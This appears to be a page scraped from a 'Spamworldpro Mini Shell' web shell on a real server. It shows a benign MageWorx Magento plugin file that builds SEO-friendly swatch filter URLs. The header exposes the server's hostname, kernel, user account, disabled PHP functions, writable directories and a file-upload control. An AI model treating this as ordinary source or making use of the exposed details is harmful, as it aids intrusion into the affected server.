Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/mageworx/module-seourls/Plugin/LayerSwatches/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/mageworx/module-seourls/Plugin/LayerSwatches/AfterGetSwatchData.php
<?php
/**
 * Copyright © 2016 MageWorx. All rights reserved.
 * See LICENSE.txt for license details.
 */
namespace MageWorx\SeoUrls\Plugin\LayerSwatches;

use \MageWorx\SeoUrls\Model\Source\PagerMask;
use Magento\Framework\View\Element\Template;
use Magento\Swatches\Block\LayeredNavigation\RenderLayered;
use MageWorx\SeoAll\Helper\Layer as SeoAllHelperLayer;

class AfterGetSwatchData
{
    /**
     * @var \MageWorx\SeoUrls\Helper\Data
     */
    protected $helperData;

    /**
     * @var \Magento\Framework\Url\Helper\Data
     */
    protected $urlHelper;

    /**
     * @var \MageWorx\SeoUrls\Helper\Layer
     */
    protected $helperLayer;

    /**
     * @var \Magento\Catalog\Helper\Category
     */
    protected $categoryHelper;

    /**
     * @var \Magento\Catalog\Model\CategoryRepository
     */
    protected $categoryRepository;

    /**
     * @var \MageWorx\SeoUrls\Helper\UrlBuilder\Layer
     */
    protected $seoLayerUrlBuilder;

    /**
     * @var SeoAllHelperLayer
     */
    protected $helperLayerAll;

    /**
     * AfterGetUrl constructor.
     * @param \MageWorx\SeoUrls\Helper\Data $helperData
     * @param \Magento\Framework\Url\Helper\Data $urlHelper
     * @param \MageWorx\SeoUrls\Helper\Layer $helperLayer
     * @param \Magento\Catalog\Helper\Category $categoryHelper
     * @param \Magento\Catalog\Model\CategoryRepository $categoryRepository
     * @param \MageWorx\SeoUrls\Helper\UrlBuilder\Layer $seoLayerUrlBuilder
     */
    public function __construct(
        \MageWorx\SeoUrls\Helper\Data $helperData,
        \Magento\Framework\Url\Helper\Data $urlHelper,
        \MageWorx\SeoUrls\Helper\Layer $helperLayer,
        \Magento\Catalog\Helper\Category $categoryHelper,
        \Magento\Catalog\Model\CategoryRepository $categoryRepository,
        \MageWorx\SeoUrls\Helper\UrlBuilder\Layer $seoLayerUrlBuilder,
        SeoAllHelperLayer $helperLayerAll
    ) {
        $this->helperData         = $helperData;
        $this->urlHelper          = $urlHelper;
        $this->helperLayer        = $helperLayer;
        $this->categoryHelper     = $categoryHelper;
        $this->categoryRepository = $categoryRepository;
        $this->seoLayerUrlBuilder = $seoLayerUrlBuilder;
        $this->helperLayerAll     = $helperLayerAll;
    }

    /**
     * @param RenderLayered $filterItem
     * @param $data
     * @return mixed
     */
    public function afterGetSwatchData(RenderLayered $filterItem, $data)
    {
        if ($this->out()) {
            return $data;
        }

        if (!empty($data['options'])) {
            foreach ($data['options'] as $optionId => $optionData) {
                $data['options'][$optionId]['link'] = $this->getAttributeFilterUrl(
                    $filterItem,
                    $data,
                    $optionId
                );
            }
        }

        return $data;
    }

    /**
     * @param RenderLayered $block
     * @param string $attributeCode
     * @param string $value
     * @return string
     */
    public function getAttributeFilterUrl($block, $data, $optionId)
    {
        $attributeCode = $data['attribute_code'];
        $value = $data['options'][$optionId]['label'];
        $varName = $attributeCode;

        /** @var \Magento\CatalogSearch\Model\Layer\Filter\Attribute|\MageWorx\LayeredNavigation\Model\Catalog\Layer\Filter\Attribute $filter */
        $filter = $block->getFilter();
        $labelValues = [];

        if ($filter && method_exists($filter, 'getAttributeValues')) {
            $values = $filter->getAttributeValues();

            if ($values) {
                foreach ($values as $optionId) {
                    $labelValues[] = $filter->getAttributeModel()->getFrontend()->getOption($optionId);
                }
            }
        }

        $labelValues[] = $value;
        $labelValues = array_unique($labelValues);

        $value = implode($this->helperLayerAll->getMultipleValueSeparator(), $labelValues);

        $query = [
            $varName => $value,
            $this->helperData->getPagerVariableName() => null // exclude current page from urls
        ];

        $url = $this->seoLayerUrlBuilder->getLayerFilterUrl(
            [
                '_current'     => true,
                '_use_rewrite' => true,
                '_query'       => $query
            ]
        );

        return $url;
    }

    /**
     * @return bool
     */
    protected function out()
    {
        if (!$this->helperData->getIsSeoFiltersEnable()) {
            return true;
        }

        return !$this->helperData->getIsCompatiblePage();
    }
}

Spamworldpro Mini